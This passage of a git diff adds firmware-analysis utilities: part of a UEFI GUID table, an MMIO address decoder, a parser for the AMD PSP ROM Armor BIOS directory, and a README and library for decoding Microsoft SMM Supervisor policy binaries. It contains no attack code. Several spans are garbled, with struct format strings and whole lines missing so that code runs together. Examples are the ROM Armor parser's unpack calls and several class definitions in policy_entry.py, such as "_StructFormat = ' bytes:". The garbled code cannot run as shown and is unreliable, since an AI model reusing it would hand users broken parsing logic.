'PEI_UNIX_AUTOSCAN_PPI_GUID': [0xf2ed3d14, 0x8985, 0x11db, 0xb0, 0x57, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'PEI_UNIX_THUNK_PPI_GUID': [0xf2f830f2, 0x8985, 0x11db, 0x80, 0x6b, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'PEI_USB2_HOST_CONTROLLER_PPI_GUID': [0xa7d09fe1, 0x74d4, 0x4ba5, 0x84, 0x7c, 0x12, 0xed, 0x5b, 0x19, 0xad, 0xe4], + 'PEI_USB_CONTROLLER_PPI_GUID': [0x3bc1f6de, 0x693e, 0x4547, 0xa3, 0x0, 0x21, 0x82, 0x3c, 0xa4, 0x20, 0xb2], + 'PEI_USB_HOST_CONTROLLER_PPI_GUID': [0x652b38a9, 0x77f4, 0x453f, 0x89, 0xd5, 0xe7, 0xbd, 0xc3, 0x52, 0xfc, 0x53], + 'PEI_USB_IO_PPI_GUID': [0x7c29785c, 0x66b9, 0x49fc, 0xb7, 0x97, 0x1c, 0xa5, 0x55, 0xe, 0xf2, 0x83], + 'PERFORMANCEPKG_TOKEN_SPACE_GUID': [0x669346ef, 0xFDad, 0x4aeb, 0x08, 0xa6, 0x21, 0x46, 0x2d, 0x3f, 0xef, 0x7d], + 'PERFORMANCE_EX_PROTOCOL_GUID': [0x1ea81bec, 0xf01a, 0x4d98, 0xa2, 0x1, 0x4a, 0x61, 0xce, 0x2f, 0xc0, 0x22], + 'PERFORMANCE_PROTOCOL_GUID': [0x76b6bdfa, 0x2acd, 0x4462, 0x9E, 0x3F, 0xcb, 0x58, 0xC9, 0x69, 0xd9, 0x37], + 'PE_COFF_LOADER_PROTOCOL_GUID': [0xB323179B, 0x97FB, 0x477E, 0xB0, 0xFE, 0xD8, 0x85, 0x91, 0xFA, 0x11, 0xAB], + 'PLAT_OVER_MNGR_GUID': [0x8614567d, 0x35be, 0x4415, 0x8d, 0x88, 0xbd, 0x7d, 0xc, 0x9c, 0x70, 0xc0], + 'PRE_PI_EXTRACT_GUIDED_SECTION_DATA_GUID': [0x385A982C, 0x2F49, 0x4043, 0xA5, 0x1E, 0x49, 0x01, 0x02, 0x5C, 0x8B, 0x6B], + 'PWD_CREDENTIAL_PROVIDER_GUID': [0x78b9ec8b, 0xc000, 0x46c5, 0xac, 0x93, 0x24, 0xa0, 0xc1, 0xbb, 0x0, 0xce], + 'RECOVERY_ON_DATA_CD_GUID': [0x5cac0099, 0x0dc9, 0x48e5, 0x80, 0x68, 0xbb, 0x95, 0xf5, 0x40, 0x0a, 0x9f], + 'RECOVERY_ON_FAT_FLOPPY_DISK_GUID': [0x2e3d2e75, 0x9b2e, 0x412d, 0xb4, 0xb1, 0x70, 0x41, 0x6b, 0x87, 0x0, 0xff], + 'RECOVERY_ON_FAT_IDE_DISK_GUID': [0xb38573b6, 0x6200, 0x4ac5, 0xb5, 0x1d, 0x82, 0xe6, 0x59, 0x38, 0xd7, 0x83], + 'RECOVERY_ON_FAT_USB_DISK_GUID': [0x0ffbce19, 0x324c, 0x4690, 0xa0, 0x09, 0x98, 0xc6, 0xae, 0x2e, 0xb1, 0x86], + 'SAL_SYSTEM_TABLE_GUID': [0xeb9d2d32, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'SECUREBOOT_CONFIG_FORM_SET_GUID': [0x5daf50a5, 0xea81, 0x4de2, 0x8f, 0x9b, 0xca, 0xbd, 0xa9, 0xcf, 0x5c, 0x14], + 'SECURITYPKG_TOKEN_SPACE_GUID': [0xd3fb176, 0x9569, 0x4d51, 0xa3, 0xef, 0x7d, 0x61, 0xc6, 0x4f, 0xea, 0xba], + 'SHELLPKG_SHELL_ENV2_EXT_GUID': [0xd2c18636, 0x40e5, 0x4eb5, 0xa3, 0x1b, 0x36, 0x69, 0x5f, 0xd4, 0x2c, 0x87], + 'SHELL_ALIAS_VARIABLE_GUID': [0x0053d9d6, 0x2659, 0x4599, 0xa2, 0x6b, 0xef, 0x45, 0x36, 0xe6, 0x31, 0xa9], + 'SHELL_DEBUG1_HII_GUID': [0x25f200aa, 0xd3cb, 0x470a, 0xbf, 0x51, 0xe7, 0xd1, 0x62, 0xd2, 0x2e, 0x6f], + 'SHELL_DRIVER1_HII_GUID': [0xaf0b742, 0x63ec, 0x45bd, 0x8d, 0xb6, 0x71, 0xad, 0x7f, 0x2f, 0xe8, 0xe8], + 'SHELL_ENVIRONMENT_PROTOCOL_GUID': [0x47c7b221, 0xc42a, 0x11d2, 0x8e, 0x57, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'SHELL_INSTALL1_HII_GUID': [0x7d574d54, 0xd364, 0x4d4a, 0x95, 0xe3, 0x49, 0x45, 0xdb, 0x7a, 0xd3, 0xee], + 'SHELL_INTERFACE_PROTOCOL_GUID': [0x47c7b223, 0xc42a, 0x11d2, 0x8e, 0x57, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'SHELL_LEVEL1_HII_GUID': [0xdec5daa4, 0x6781, 0x4820, 0x9c, 0x63, 0xa7, 0xb0, 0xe4, 0xf1, 0xdb, 0x31], + 'SHELL_LEVEL2_HII_GUID': [0xf95a7ccc, 0x4c55, 0x4426, 0xa7, 0xb4, 0xdc, 0x89, 0x61, 0x95, 0xb, 0xae], + 'SHELL_LEVEL3_HII_GUID': [0x4344558d, 0x4ef9, 0x4725, 0xb1, 0xe4, 0x33, 0x76, 0xe8, 0xd6, 0x97, 0x4f], + 'SHELL_MAP_GUID': [0x51271e13, 0x7de3, 0x43af, 0x8b, 0xc2, 0x71, 0xad, 0x3b, 0x82, 0x43, 0x25], + 'SHELL_NETWORK1_HII_GUID': [0xf3d301bb, 0xf4a5, 0x45a8, 0xb0, 0xb7, 0xfa, 0x99, 0x9c, 0x62, 0x37, 0xae], + 'SHELL_VARIABLE_GUID': [0x158def5a, 0xf656, 0x419c, 0xb0, 0x27, 0x7a, 0x31, 0x92, 0xc0, 0x79, 0xd2], + 'SMBIOS_TABLE_GUID': [0xeb9d2d31, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'SMM_COMMUNICATE_HEADER_GUID': [0xf328e36c, 0x23b6, 0x4a95, 0x85, 0x4b, 0x32, 0xe1, 0x95, 0x34, 0xcd, 0x75], + 'SMM_PERFORMANCE_EX_PROTOCOL_GUID': [0x931fc048, 0xc71d, 0x4455, 0x89, 0x30, 0x47, 0x6, 0x30, 0xe3, 0xe, 0xe5], + 'SMM_PERFORMANCE_PROTOCOL_GUID': [0xf866226a, 0xeaa5, 0x4f5a, 0xa9, 0xa, 0x6c, 0xfb, 0xa5, 0x7c, 0x58, 0x8e], + 'STATUS_CODE_CALLBACK_GUID': [0xe701458c, 0x4900, 0x4ca5, 0xb7, 0x72, 0x3d, 0x37, 0x94, 0x9f, 0x79, 0x27], + 'SYSTEM_ROM_FILE_GUID': [0x1547B4F3, 0x3E8A, 0x4FEF, 0x81, 0xC8, 0x32, 0x8E, 0xD6, 0x47, 0xAB, 0x1A], + 'TCG_CONFIG_FORM_SET_GUID': [0xb0f901e4, 0xc424, 0x45de, 0x90, 0x81, 0x95, 0xe2, 0xb, 0xde, 0x6f, 0xb5], + 'TEMPORARY_RAM_SUPPORT_PPI_GUID': [0xdbe23aa9, 0xa345, 0x4b97, 0x85, 0xb6, 0xb2, 0x26, 0xf1, 0x61, 0x73, 0x89], + 'TIANO_CUSTOM_DECOMPRESS_GUID': [0xA31280AD, 0x481E, 0x41B6, 0x95, 0xE8, 0x12, 0x7F, 0x4C, 0x98, 0x47, 0x79], + 'UNIX_FWH_PPI_GUID': [0xf2f0dc30, 0x8985, 0x11db, 0xa1, 0x5b, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'UNIX_PEI_LOAD_FILE_GUID': [0xf2f48768, 0x8985, 0x11db, 0xb8, 0xda, 0x00, 0x40, 0xd0, 0x2b, 0x18, 0x35], + 'UNKNOWN_DEVICE_GUID': [0xcf31fac5, 0xc24e, 0x11d2, 0x85, 0xf3, 0x0, 0xa0, 0xc9, 0x3e, 0xc9, 0x3b], + 'USB_CREDENTIAL_PROVIDER_GUID': [0xd0849ed1, 0xa88c, 0x4ba6, 0xb1, 0xd6, 0xab, 0x50, 0xe2, 0x80, 0xb7, 0xa9], + 'USB_KEYBOARD_LAYOUT_PACKAGE_GUID': [0xc0f3b43, 0x44de, 0x4907, 0xb4, 0x78, 0x22, 0x5f, 0x6f, 0x62, 0x89, 0xdc], + 'USER_IDENTIFY_MANAGER_GUID': [0x3ccd3dd8, 0x8d45, 0x4fed, 0x96, 0x2d, 0x2b, 0x38, 0xcd, 0x82, 0xb3, 0xc4], + 'USER_PROFILE_MANAGER_GUID': [0xc35f272c, 0x97c2, 0x465a, 0xa2, 0x16, 0x69, 0x6b, 0x66, 0x8a, 0x8c, 0xfe], + 'VIRTUAL_UNCACHED_PAGES_PROTOCOL_GUID': [0xAD651C7D, 0x3C22, 0x4DBF, 0x92, 0xe8, 0x38, 0xa7, 0xcd, 0xae, 0x87, 0xb2], + 'VLAN_CONFIG_FORM_SET_GUID': [0xd79df6b0, 0xef44, 0x43bd, 0x97, 0x97, 0x43, 0xe9, 0x3b, 0xcf, 0x5f, 0xa8], +} diff --git a/tools/decode_mmio.py b/tools/decode_mmio.py new file mode 100644 index 0000000..2117612 --- /dev/null +++ b/tools/decode_mmio.py @@ -0,0 +1,16 @@ +import sys + + +MMIO_BASE = 0xF0000000 + +def decode_device(addr): + function = (addr >> 12) & 0x7 + device = (addr >> 15) & 0x1f + bus = (addr >> 20) & 0xff + offset = addr & 0xFFF + print(f"B:D:F -> {bus:02x}:{device:02x}:{function:02x} [{offset:08x}] ") + + +if __name__ == "__main__": + addr = int(sys.argv[1], 16) + decode_device(addr) \ No newline at end of file diff --git a/tools/rom_armor_psp_policy.py b/tools/rom_armor_psp_policy.py new file mode 100644 index 0000000..1880996 --- /dev/null +++ b/tools/rom_armor_psp_policy.py @@ -0,0 +1,102 @@ +import struct +import sys + +""" +0083d000 24 42 4c 32 2a 70 14 8c 1b 00 00 00 58 04 00 40 |$BL2*p......X..@| + +0083d010 05 00 00 00 40 04 00 00 00 04 00 00 00 00 00 80 |....@...........| +0083d020 ff ff ff ff ff ff ff ff 07 00 00 00 00 01 00 00 |................| +0083d030 00 09 00 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| +0083d040 60 00 00 20 00 30 00 00 00 10 00 00 00 00 00 80 |`.. .0..........| +0083d050 ff ff ff ff ff ff ff ff 68 00 00 00 00 d0 00 00 |........h.......| +0083d060 00 40 00 00 00 00 00 80 ff ff ff ff ff ff ff ff |.@..............| +0083d070 68 00 80 00 00 30 00 00 00 10 01 00 00 00 00 80 |h....0..........| +0083d080 ff ff ff ff ff ff ff ff 61 00 00 00 00 00 00 00 |........a.......| +0083d090 00 00 00 00 00 00 00 00 00 00 f0 09 00 00 00 00 |................| +0083d0a0 62 00 0b 00 00 00 1a 00 00 00 f6 01 00 00 00 40 |b..............@| +0083d0b0 00 00 c0 09 00 00 00 00 63 00 00 20 00 80 02 00 |........c.. ....| +0083d0c0 00 40 01 00 00 00 00 80 ff ff ff ff ff ff ff ff |.@..............| +0083d0d0 64 00 10 00 10 63 00 00 00 c0 03 00 00 00 00 80 |d....c..........| +0083d0e0 ff ff ff ff ff ff ff ff 65 00 10 00 e0 04 00 00 |........e.......| +0083d0f0 00 24 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |.$..............| +0083d100 64 00 20 00 80 61 00 00 00 29 04 00 00 00 00 80 |d. ..a...)......| +0083d110 ff ff ff ff ff ff ff ff 65 00 20 00 50 02 00 00 |........e. .P...| +0083d120 00 8b 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| +0083d130 66 00 00 00 c0 17 00 00 00 8e 04 00 00 00 00 80 |f...............| +0083d140 ff ff ff ff ff ff ff ff 66 00 10 00 c0 17 00 00 |........f.......| +0083d150 00 a6 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| +0083d160 66 00 20 00 c0 17 00 00 00 be 04 00 00 00 00 80 |f. .............| +0083d170 ff ff ff ff ff ff ff ff 6a 00 00 00 70 05 00 00 |........j...p...| +0083d180 00 d6 04 00 00 00 00 80 ff ff ff ff ff ff ff ff |................| +0083d190 6d 00 00 20 00 00 04 00 00 00 00 01 00 00 00 40 |m.. ...........@| +0083d1a0 ff ff ff ff ff ff ff ff 6d 00 10 20 00 00 04 00 |........m.. ....| +0083d1b0 00 00 04 01 00 00 00 40 ff ff ff ff ff ff ff ff |.......@........| +0083d1c0 6d 00 20 20 00 00 04 00 00 00 08 01 00 00 00 40 |m. ...........@| +""" + +ROM_ARMOR_BIOS_DIR_MAGIC = b"$BL2" +ROM_ARMOR_ENTRY_TYPE = 0x6D + + +BIOS_TABLE_HEADER_SIZE = 0x10 +BIOS_TABLE_ENTRY_SIZE = 0x18 +PAGE_SIZE = 0x1000 + +BIOS_TABLE_ENTRY_TYPE_OFFSET = 0 +BIOS_TABLE_ENTRY_FLAGS_OFFSET = 2 +BIOS_TABLE_ENTRY_SIZE_OFFSET = 4 +BIOS_TABLE_ENTRY_S_ADDRESS_OFFSET = 8 +BIOS_TABLE_ENTRY_D_ADDRESS_OFFSET = 0x10 + +EA_MODE_PHYSICAL_ADDRESS = 0x00 +EA_MODE_BIOS_FLASH_OFFSET = 0x01 +EA_MODE_DIRECTORY_OFFSET = 0x02 +EA_MODE_PARTITION_OFFSET = 0x03 + +def main(filename): + f = open(filename, "rb") + content = f.read() + f.close() + + # Read page by page and attempt to match the bios directory magic + aligned_len = len(content) & 0xFFFFFFFFFFFFF000 + offset = -1 + for i in range(0, aligned_len, PAGE_SIZE): + if content[i:i+4] == ROM_ARMOR_BIOS_DIR_MAGIC: + #print(f"Found at offset {i:08x}") + offset = i + break + + if offset == -1: + print(f"-> error: the magic {ROM_ARMOR_BIOS_DIR_MAGIC} was not found") + sys.exit(-1) + + number_of_entries = struct.unpack("> 2) & 1) == 1 + + entry_size = struct.unpack("") + else: + main(sys.argv[1]) diff --git a/tools/smm_supervisor_policy_parser/README.md b/tools/smm_supervisor_policy_parser/README.md new file mode 100644 index 0000000..eeb6b57 --- /dev/null +++ b/tools/smm_supervisor_policy_parser/README.md @@ -0,0 +1,89 @@ +# SMM Supervisor Policy Parser + +This is a simple utility which will extract an SMM Supervisor policy binary from a UEFI container and print the policy details. + +This requires `UEFIextract` to be in your path. + +## Usage + +``` +$ python smm-supervisor-policy-parser.py huawei_rom.bin + Supervisor Policy Object + Version: 65536 + Size: 248 + Policy Roots: 4 + Policy Root + Version: 0x0000000000000001 + Type: IO + Count: 0x0000000000000002 + Access Attribute: DENY + Io Policy Entry + IoAddress: 0x0CF8 + Size: 0x0004 + Attributes: WRITE | STRICT WIDTH + Io Policy Entry + IoAddress: 0x0CFC + Size: 0x0004 + Attributes: WRITE + Policy Root + Version: 0x0000000000000001 + Type: MSR + Count: 0x0000000000000009 + Access Attribute: DENY + MSR Policy Entry + MsrAddress: C0000080 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: C0000081 + Size: 0004 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: C0010010 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: C0010111 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: 000001D9 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: 00000DA0 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: 000006A0 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: 000006A2 + Size: 0001 + Attributes: READ | WRITE | EXECUTE + MSR Policy Entry + MsrAddress: 000006A4 + Size: 0005 + Attributes: READ | WRITE | EXECUTE + Policy Root + Version: 0x0000000000000001 + Type: INSTRUCTION + Count: 0x0000000000000003 + Access Attribute: ALLOW + Instruction Policy Entry + Instruction: CLI + Attributes: EXECUTE + Instruction Policy Entry + Instruction: WBINVD + Attributes: EXECUTE + Instruction Policy Entry + Instruction: HLT + Attributes: EXECUTE + Policy Root + Version: 0x0000000000000001 + Type: MEMORY + Count: 0x0000000000000000 + Access Attribute: DENY +``` + diff --git a/tools/smm_supervisor_policy_parser/policy_entry.py b/tools/smm_supervisor_policy_parser/policy_entry.py new file mode 100644 index 0000000..b994f84 --- /dev/null +++ b/tools/smm_supervisor_policy_parser/policy_entry.py @@ -0,0 +1,964 @@ +# @file +# Library supporting Supervisor Policy binaries +# +# Copyright (c) Microsoft Corporation +# +# SPDX-License-Identifier: BSD-2-Clause-Patent +## + +import struct +from enum import IntEnum +from typing import Type +import logging + + +class POLICY_TYPE(IntEnum): + ''' Type of Supervisor policy. Each resource type has it's own policy type''' + INVALID = 0 + MEMORY = 1 + IO = 2 + MSR = 3 + INSTRUCTION = 4 + SAVESTATE = 5 + + +class SUPPORTED_INSTRUCTION(IntEnum): + ''' Supported privileged instructions by SMM supervisor. + + typedef enum { + SECURE_POLICY_INSTRUCTION_CLI, + SECURE_POLICY_INSTRUCTION_WBINVD, + SECURE_POLICY_INSTRUCTION_HLT, + // Do not append after COUNT entry + SECURE_POLICY_INSTRUCTION_COUNT + } SECURE_POLICY_INSTRUCTION; + ''' + CLI = 0 + WBINVD = 1 + HLT = 2 + + +class ALLOWED_SAVE_STATE_FIELD(IntEnum): + ''' Supported access in save state through SMM supervisor. + + typedef enum { + SECURE_POLICY_SVST_RAX = 0, + SECURE_POLICY_SVST_IO_TRAP = 1, + // Do not append after COUNT entry + SECURE_POLICY_SVST_COUNT = 2 + } SECURE_POLICY_SVST; + ''' + RAX = 0 + IO_TRAP = 1 + + +class ALLOWED_SAVE_STATE_ACCESS_CONDITION(IntEnum): + ''' Supported access condition in save state corresponding to the access field. + + // Index of SMM save state access conditions + typedef enum { + SECURE_POLICY_SVST_UNCONDITIONAL = 0, + SECURE_POLICY_SVST_CONDITION_IO_RD = 1, + SECURE_POLICY_SVST_CONDITION_IO_WR = 2, + // Do not append after COUNT entry + SECURE_POLICY_SVST_CONDITION_COUNT = 3 + } SECURE_POLICY_SVST_CONDITION; + ''' + UNCONDITIONAL = 0 + IOREAD = 1 + IOWRITE = 2 + + +class AccessAttribute(object): + ''' Access Attributes are bits in a bitfield and can not exceed 8 bits + ''' + ACCESS_ATTR_ALLOW = 0 + ACCESS_ATTR_DENY = 1 + ACCESS_ATTR_MAX_SUPPORTED = 1 + + bits = ["ALLOW", "DENY"] + + def __init__(self, value: int): + if(value > self.ACCESS_ATTR_MAX_SUPPORTED): + raise Exception("Invalid value") + self.value = value + + def __str__(self): + string = "" + + for i in range(len(self.bits)): + if self.value == i: + string = self.bits[i] + break + return string + + +class AccessType(object): + ''' Access Type Attributes are bits in a bitfield and can not exceed 16 bits + ''' + INHERITED = 0 + READ_INHERITED = 1 # BIT0 + WRITE_INHERITED = 2 # BIT1 + EXECUTE_INHERITED = 4 # BIT2 + STRICT_WIDTH_INHERITED = 8 # BIT3 + COND_READ_INHERITED = 16 # BIT4 + COND_WRITE_INHERITED = 32 # BIT5 + + bits = ["READ", "WRITE", "EXECUTE", "STRICT WIDTH", "CONDITIONAL READ", "CONDITIONAL WRITE"] + + def __init__(self, value: int): + if(value > (AccessType.READ_INHERITED + AccessType.WRITE_INHERITED +\ + AccessType.EXECUTE_INHERITED + AccessType.STRICT_WIDTH_INHERITED +\ + AccessType.COND_READ_INHERITED + AccessType.COND_WRITE_INHERITED)): + raise Exception("Invalid value") + self.value = value + + def __str__(self): + if self.value == 0: + return "INHERITED" + string = "" + + for i in range(len(self.bits)): + if self.value & (1 << i): + string += self.bits[i] + " | " + return string.strip(" |") + + +class PolicyEntryHeader(object): + ''' + Common header in each policy entry + + // The version of this descriptor. + UINT32 Version; //1 + // The Type of this Parameter. + UINT32 Type; + // The size of the descriptor in bytes including the header. + UINT32 EntrySize; + ''' + _VERSION = 1 + _StructFormat = ' bytes: + ''' Write self to a binary bytes object''' + return struct.pack(self._StructFormat, self.Version, int(self.Type), self.EntrySize) + + def Decode(self, Buffer) -> bytes: + ''' Decode the Buffer and confirm it matches self data + return any remaining data not part of self + ''' + (v, t, es) = struct.unpack_from(self._StructFormat, Buffer) + if v != self._VERSION: + print (Buffer) + raise Exception("Invalid Version") + if POLICY_TYPE(t) != self.Type: + raise Exception("Decoding wrong Type") + if es != self.EntrySize: + raise Exception("Unexpected Entry Size") + + # slice off buffer bytes decoded + return Buffer[self._StructSize:] + + def DumpInfo(self, prefix: str = "") -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + ''' + print(f"{prefix}Version: 0x{self.Version:08X}") + print(f"{prefix}Type: {self.Type}") + print(f"{prefix}EntrySize: {self.EntrySize}") + + +class PolicyEntry(object): + ''' Base Policy Entry Object ''' + + def GetSize(self) -> int: + return self.Header.EntrySize + + def GetType(self) -> POLICY_TYPE: + return self.Header.Type + + def GetBodySize(self) -> int: + return self.Header.BodySize + + def Encode(self) -> bytes: + ''' Write self to a binary bytes object''' + raise NotImplementedError("Base Class does not implement this method") + + def Decode(self, Buffer) -> None: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + raise NotImplementedError("Base Class does not implement this method") + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + raise NotImplementedError("Base Class does not implement this method") + + +class PolicyRoot(object): + ''' + Policy Root object for different policy descriptor types + + UINT32 Version; // The version of this descriptor. Current Version is 1. + UINT32 PolicyRootSize; // The size of the SMM_SUPV_POLICY_ROOT_V* in bytes. + UINT32 Type; // The Type of this parameter, defined as SMM_SUPV_SECURE_POLICY_DESCRIPTOR_TYPE_* + UINT32 Offset; // The offset of the leaf descriptors in bytes from the beginning of this table. + UINT32 Count; // Number of entries of 'Type', starting from 'Offset' + UINT8 AccessAttr; // The access attribute of all policy entries of this Type, value defined as + // SMM_SUPV_ACCESS_ATTR_ALLOW or SMM_SUPV_ACCESS_ATTR_DENY. + UINT8 Reserved[3]; // Reserved, must be 0s. + // Note: For backwards compatibility concern, one should not remove/rearrange the above fields if/when updating + // the structure version to higher than 1. + ''' + _StructFormat = ' None: + ''' Add a policy to this root''' + + if policy.GetType() == self.Type: + self.PolicyEntries.append(policy) + else: + raise RuntimeError( + f"Can't add mismatched policy of type {policy.GetType()}") + + self.Count = len (self.PolicyEntries) + + def Encode(self) -> bytes: + ''' Write self to a binary bytes object''' + + if self.Version != self._Version: + raise Exception("Invalid Version") + if self.Type == POLICY_TYPE.INVALID: + raise Exception("Invalid Data") + + return struct.pack(self._StructFormat, + self.Version, + self.PolicyRootSize, + self.Type, + self.Offset, # Offset + self.Count, + self.AccessAttr.value, + 0, 0, 0 # Reserved + ) + + def Decode(self, Buffer) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + (ver, prs, tp, os, cnt, aa, _, _, _) = struct.unpack_from(self._StructFormat, Buffer) + if ver != self._Version: + raise Exception("Invalid Version") + self.PolicyRootSize = prs + self.Type = tp + self.Offset = os + self.Count = cnt + self.AccessAttr = AccessAttribute(aa) + return Buffer[self._StructSize:] + + def GetSize(self) -> int: + return self.PolicyRootSize + + def SetOffset(self, offset: Type[int]): + self.Offset = offset + + def GetType(self) -> POLICY_TYPE: + return self.Type + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Policy Root") + print(f"{prefix} Version: 0x{self.Version:016X}") + print(f"{prefix} Type: {POLICY_TYPE(self.Type).name}") + print(f"{prefix} Count: 0x{self.Count:016X}") + print(f"{prefix} Access Attribute: {self.AccessAttr}") + for pe in self.PolicyEntries: + pe.DumpInfo(prefix=prefix + " ", short=short) + + +class MemoryPolicyEntry(PolicyEntry): + ''' + Policy Entry object for Memory Resources + + PolicyEntryHeader Header; //common header + UINT64 BaseAddress; //Base address of memory + UINT64 Size; //Size of memory + UINT32 MemAttributes; //Attributes of memory + ''' + _StructFormatLegacy = ' int: + return self._StructSize + + def Encode(self, legacy: bool = False) -> bytes: + ''' Write self to a binary bytes object''' + + if self.Size == 0: + raise Exception("Invalid Data") + + if legacy: + return self.Header.Encode() + struct.pack(self._StructFormatLegacy, + self.BaseAddress, + self.Size, + self.MemoryAttributes) + else: + return struct.pack(self._StructFormat, + self.BaseAddress, + self.Size, + self.MemoryAttributes, + 0) + + def Decode(self, Buffer, legacy: bool = False) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + if legacy: + Buffer = self.Header.Decode(Buffer) + (ba, s, ma) = struct.unpack_from(self._StructFormatLegacy, Buffer) + self.BaseAddress = ba + self.Size = s + self.MemoryAttributes = ma + return Buffer[self._StructSizeLegacy:] + else: + (ba, s, ma, _) = struct.unpack_from(self._StructFormat, Buffer) + self.BaseAddress = ba + self.Size = s + self.MemoryAttributes = ma + return Buffer[self._StructSize:] + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Memory Policy Entry") + if not short: + self.Header.DumpInfo(prefix + " ") + print(f"{prefix} BaseAddress: 0x{self.BaseAddress:016X}") + print(f"{prefix} Size: 0x{self.Size:016X}") + print(f"{prefix} Memory Attributes: 0x{self.MemoryAttributes:08X}") + + +class IoPolicyEntry(PolicyEntry): + _StructFormatLegacy = ' int: + return self._StructSize + + def Encode(self, legacy: bool = False) -> bytes: + ''' Write self to a binary bytes object''' + if self.Size == 0: + raise Exception("Invalid Data") + + if legacy: + return self.Header.Encode() + struct.pack(self._StructFormatLegacy, + self.IoAddress, + self.Size, + self.Attributes.value) + else: + return struct.pack(self._StructFormat, + self.IoAddress, + self.Size, + self.Attributes.value, + 0) + + def Decode(self, Buffer, legacy: bool = False) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + if legacy: + Buffer = self.Header.Decode(Buffer) + (ia, s, a) = struct.unpack_from(self._StructFormatLegacy, Buffer) + self.IoAddress = ia + self.Size = s + self.Attributes = AccessType(a) + return Buffer[self._StructSizeLegacy:] + else: + (ia, s, a, _) = struct.unpack_from(self._StructFormat, Buffer) + self.IoAddress = ia + self.Size = s + self.Attributes = AccessType(a) + return Buffer[self._StructSize:] + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}Io Policy Entry") + if not short: + self.Header.DumpInfo(prefix + " ") + print(f"{prefix} IoAddress: 0x{self.IoAddress:04X}") + print(f"{prefix} Size: 0x{self.Size:04X}") + print(f"{prefix} Attributes: {self.Attributes}") + + +class MsrPolicyEntry(PolicyEntry): + ''' + example {Header, 0xC0012000, 0x1000, SECURE_POLICY_RESOURCE_ATTR_WRITE_DIS} + ''' + _StructFormat = ' bytes: + ''' Write self to a binary bytes object''' + if self.Size == 0: + raise Exception("Invalid Data") + + header_bytes = b'' + if legacy: + header_bytes = self.Header.Encode() + + return header_bytes + struct.pack(self._StructFormat, + self.MsrAddress, + self.Size, + self.Attributes.value) + + def Decode(self, Buffer, legacy: bool = False) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + if legacy: + Buffer = self.Header.Decode(Buffer) + (ma, s, a) = struct.unpack_from(self._StructFormat, Buffer) + self.MsrAddress = ma + self.Size = s + self.Attributes = AccessType(a) + return Buffer[self._StructSize:] + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace and alignment + short: True (default): print short form. False: print long form including header + ''' + print(f"{prefix}MSR Policy Entry") + if(not short): + self.Header.DumpInfo(prefix + " ") + print(f"{prefix} MsrAddress: {self.MsrAddress:08X}") + print(f"{prefix} Size: {self.Size:04X}") + print(f"{prefix} Attributes: {self.Attributes}") + + +class InstructionPolicyEntry(PolicyEntry): + ''' + example {Header, SECURE_POLICY_INSTRUCTION_CLI, 0} + ''' + _StructFormatLegacy = ' int: + return self._StructSize + + def Encode(self, legacy: bool = False) -> bytes: + ''' Write self to a binary bytes object''' + if self.InstructionIndex < 0: + raise Exception("Invalid Data") + + if legacy: + return self.Header.Encode() + struct.pack(self._StructFormatLegacy, + self.InstructionIndex, + self.Attributes.value) + else: + return struct.pack(self._StructFormat, + self.InstructionIndex, + self.Attributes.value, + 0) + + def Decode(self, Buffer, legacy: bool = False) -> bytes: + ''' Update self to match the data found in Buffer. + return any remaining data not part of self + ''' + if legacy: + Buffer = self.Header.Decode(Buffer) + (ii, a) = struct.unpack_from(self._StructFormatLegacy, Buffer) + self.InstructionIndex = ii + self.Attributes = AccessType(a) + return Buffer[self._StructSizeLegacy:] + else: + (ii, a, _) = struct.unpack_from(self._StructFormat, Buffer) + self.InstructionIndex = ii + self.Attributes = AccessType(a) + return Buffer[self._StructSize:] + + def Print(self): + self.DumpInfo() + + def DumpInfo(self, prefix: str = "", short: bool = True) -> None: + '''Print the object in human readable form. + + prefix: str printed before each line of output. Best used for whitespace 